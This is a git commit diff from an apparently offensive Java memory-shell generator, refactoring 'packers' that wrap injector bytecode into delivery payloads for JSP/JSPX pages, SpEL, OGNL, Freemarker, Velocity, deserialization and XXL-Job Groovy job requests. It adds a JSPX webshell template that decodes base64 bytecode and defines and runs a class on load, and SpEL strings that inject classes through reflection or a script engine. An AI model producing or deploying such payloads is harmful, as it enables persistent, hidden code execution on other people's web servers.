feat: support multi payload generate

This commit is contained in:
ReaJason
2025-01-27 17:02:32 +08:00
parent 8d7ed8c4ee
commit 3efe814d30
43 changed files with 537 additions and 192 deletions
@@ -0,0 +1,45 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;
/**
* @author ReaJason
* @since 2025/1/26
*/
public interface AggregatePacker extends Packer {
/**
* 聚合打包当前所有分类下的 payload
*
* @param generateResult 生成结果
* @return key -> 打包名称, value -> 打包 payload
*/
default Map<String, String> packAll(GenerateResult generateResult) {
return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap(
Enum::name,
packers -> packers.getInstance().pack(generateResult),
(existing, replacement) -> existing,
LinkedHashMap::new
));
}
/**
* 将第一个 sub packer 作为默认输出
*
* @param generateResult 生成的内存马信息
* @return payload
*/
@Override
default String pack(GenerateResult generateResult) {
List<Packers> packersWithParent = Packers.getPackersWithParent(this.getClass());
if (packersWithParent.isEmpty()) {
return null;
}
return packersWithParent.get(0).getInstance().pack(generateResult);
}
}
@@ -1,8 +0,0 @@
package com.reajason.javaweb.memshell.packer;
/**
* @author ReaJason
* @since 2025/1/1
*/
public interface JarPacker extends Packer {
}
@@ -20,13 +20,4 @@ public interface Packer {
default String pack(GenerateResult generateResult) {
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
}
/**
* 将生成的内存马打包成 bytes
* @param generateResult 生成的内存马信息
* @return 字节数组
*/
default byte[] packBytes(GenerateResult generateResult) {
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 bytes 生成");
}
}
}
@@ -1,7 +1,29 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
import com.reajason.javaweb.memshell.packer.deserialize.DeserializePacker;
import com.reajason.javaweb.memshell.packer.el.ELPacker;
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.spel.SpELPacker;
import com.reajason.javaweb.memshell.packer.spel.SpELScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.spel.SpELSpringIOUtilsGzipPacker;
import com.reajason.javaweb.memshell.packer.spel.SpELSpringUtilsPacker;
import com.reajason.javaweb.memshell.packer.velocity.VelocityPacker;
import lombok.Getter;
import java.util.List;
import java.util.Objects;
import java.util.stream.Stream;
/**
* @author ReaJason
* @since 2025/1/23
@@ -12,13 +34,10 @@ public enum Packers {
* Base64
*/
Base64(new Base64Packer()),
DefaultBase64(new DefaultBase64Packer(), Base64Packer.class),
GzipBase64(new GzipBase64Packer(), Base64Packer.class),
/**
* GzipBase64
*/
GzipBase64(new GzipBase64()),
Jar(new SimpleJarPacker()),
Jar(new DefaultJarPacker()),
/**
* BCEL
@@ -29,6 +48,8 @@ public enum Packers {
* JSP 打包器
*/
JSP(new JspPacker()),
DefaultJSP(new DefalutJspPacker(), JspPacker.class),
JSPX(new JspxPacker(), JspPacker.class),
/**
* 脚本引擎打包器
@@ -47,7 +68,10 @@ public enum Packers {
OGNL(new OGNLPacker()),
SpEL(new SpELSpringIOUtilsGzipPacker()),
SpEL(new SpELPacker()),
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
Freemarker(new FreemarkerPacker()),
@@ -58,12 +82,22 @@ public enum Packers {
XxlJob(new XxlJobPacker()),
;
private final Packer instance;
private Class<?> parentPacker = null;
Packers(Packer instance) {
this.instance = instance;
}
Packer getPacker(Packers packerType) {
Packers(Packer instance, Class<?> parentPacker) {
this.instance = instance;
this.parentPacker = parentPacker;
}
public static Packer getPacker(Packers packerType) {
return null;
}
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).toList();
}
}
@@ -1,47 +0,0 @@
package com.reajason.javaweb.memshell.packer;
import com.alibaba.fastjson2.JSONObject;
import com.alibaba.fastjson2.JSONWriter;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJob230Packer implements Packer {
String template = "";
public XxlJob230Packer() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass-230.java")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
public String pack(GenerateResult generateResult) {
String source = template
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
.replace("{{className}}", generateResult.getInjectorClassName());
JSONObject jsonObject = new JSONObject();
jsonObject.put("jobId", 1);
jsonObject.put("executorHandler", "demoJobHandler");
jsonObject.put("executorParams", "demoJobHandler");
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
jsonObject.put("executorTimeout", 0);
jsonObject.put("logId", 1);
jsonObject.put("logDateTime", System.currentTimeMillis());
jsonObject.put("glueType", "GLUE_GROOVY");
jsonObject.put("glueSource", source);
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
jsonObject.put("broadcastIndex", 0);
jsonObject.put("broadcastTotal", 0);
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
}
}
@@ -0,0 +1,10 @@
package com.reajason.javaweb.memshell.packer.base64;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2024/12/17
*/
public class Base64Packer implements AggregatePacker {
}
@@ -1,13 +1,14 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.base64;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2024/12/17
*/
public class Base64Packer implements Packer {
public class DefaultBase64Packer implements Packer {
@Override
public String pack(GenerateResult generateResult) {
return Base64.encodeBase64String(generateResult.getInjectorBytes());
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.base64;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
@@ -9,7 +10,7 @@ import org.apache.commons.codec.binary.Base64;
* @author ReaJason
* @since 2025/1/22
*/
public class GzipBase64 implements Packer {
public class GzipBase64Packer implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
@@ -1,9 +1,10 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.deserialize;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
@@ -1,6 +1,8 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.el;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,8 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.freemarker;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.jar;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.jar;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.SneakyThrows;
@@ -12,7 +12,7 @@ import java.util.jar.Manifest;
* @author ReaJason
* @since 2025/1/22
*/
public class SimpleJarPacker implements JarPacker {
public class DefaultJarPacker implements JarPacker {
@Override
@SneakyThrows
@@ -0,0 +1,18 @@
package com.reajason.javaweb.memshell.packer.jar;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
/**
* @author ReaJason
* @since 2025/1/1
*/
public interface JarPacker extends Packer {
/**
* 将生成的内存马打包成 bytes
*
* @param generateResult 生成的内存马信息
* @return 字节数组
*/
byte[] packBytes(GenerateResult generateResult);
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.jsp;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
@@ -11,11 +12,11 @@ import java.util.Objects;
* @author ReaJason
* @since 2024/11/26
*/
public class JspPacker implements Packer {
public class DefalutJspPacker implements Packer {
String jspTemplate = null;
public JspPacker() {
public DefalutJspPacker() {
try {
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
} catch (Exception ignored) {
@@ -23,7 +24,6 @@ public class JspPacker implements Packer {
}
}
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
@@ -0,0 +1,10 @@
package com.reajason.javaweb.memshell.packer.jsp;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class JspPacker implements AggregatePacker {
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.memshell.packer.jsp;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class JspxPacker implements Packer {
String jspxTemplate = null;
public JspxPacker() {
try {
jspxTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jspx")), Charset.defaultCharset());
} catch (Exception ignored) {
}
}
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
return jspxTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
}
}
@@ -1,6 +1,8 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.ognl;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.scriptengine;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
@@ -0,0 +1,10 @@
package com.reajason.javaweb.memshell.packer.spel;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2025/1/26
*/
public class SpELPacker implements AggregatePacker {
}
@@ -1,18 +1,19 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.spel;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class SpELScriptEnginePacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval('{{script}}')";
@Override
public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult);
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.spel;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
@@ -1,12 +1,13 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.spel;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class SpELSpringUtilPacker implements Packer {
public class SpELSpringUtilsPacker implements Packer {
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
@Override
@@ -1,6 +1,8 @@
package com.reajason.javaweb.memshell.packer;
package com.reajason.javaweb.memshell.packer.velocity;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
-1
View File
@@ -42,7 +42,6 @@
} catch (Exception e) {
try {
byte[] bytecode = decodeBase64(base64Str);
// 不弄反射啦,以免高版本这儿报 module 限制
Class<?> clazz = defineClass(bytecode);
clazz.newInstance();
} catch (Exception ignored) {
+53
View File
@@ -0,0 +1,53 @@
<jsp:root version="2.0" xmlns:jsp="http://java.sun.com/JSP/Page">
<jsp:directive.page contentType="text/html"/>
<jsp:directive.page pageEncoding="UTF-8"/>
<jsp:declaration><![CDATA[
public static class ClassDefiner extends ClassLoader {
public ClassDefiner() {
super(Thread.currentThread().getContextClassLoader());
}
public byte[] decodeBase64(String bytecodeBase64) {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
} catch (Exception ee) {
try {
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
} catch (Exception e) {
return null;
}
}
}
public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length);
}
@Override
public String toString() {
String className = "{{className}}";
String base64Str = "{{base64Str}}";
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
classLoader.loadClass(className).newInstance();
} catch (Exception e) {
try {
byte[] bytecode = decodeBase64(base64Str);
Class<?> clazz = defineClass(bytecode);
clazz.newInstance();
} catch (Exception ignored) {
}
}
return className;
}
}
]]></jsp:declaration>
<jsp:scriptlet><![CDATA[
new ClassDefiner().toString();
]]></jsp:scriptlet>
</jsp:root>
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
@@ -19,7 +20,7 @@ class GzipBase64Test {
void compress() {
GenerateResult generateResult = new GenerateResult();
generateResult.setInjectorBytes("hello world".getBytes());
String pack = new GzipBase64().pack(generateResult);
String pack = new GzipBase64Packer().pack(generateResult);
assertEquals("hello world", new String(CommonUtil.gzipDecompress(Base64.decodeBase64(pack))));
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.packer;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertTrue;
@@ -0,0 +1,27 @@
package com.reajason.javaweb.memshell.packer.spel;
import com.alibaba.fastjson2.JSON;
import com.alibaba.fastjson2.JSONWriter;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
import com.reajason.javaweb.memshell.packer.Packers;
import org.junit.jupiter.api.Test;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/1/26
*/
class SpELPackerTest {
@Test
void pack() {
GenerateResult generateResult = GenerateResult.builder()
.injectorClassName("name")
.injectorBytes("name".getBytes()).build();
AggregatePacker spELPacker = (AggregatePacker) Packers.SpEL.getInstance();
Map<String, String> stringStringMap = spELPacker.packAll(generateResult);
System.out.println(JSON.toJSONString(stringStringMap, JSONWriter.Feature.PrettyFormat));
}
}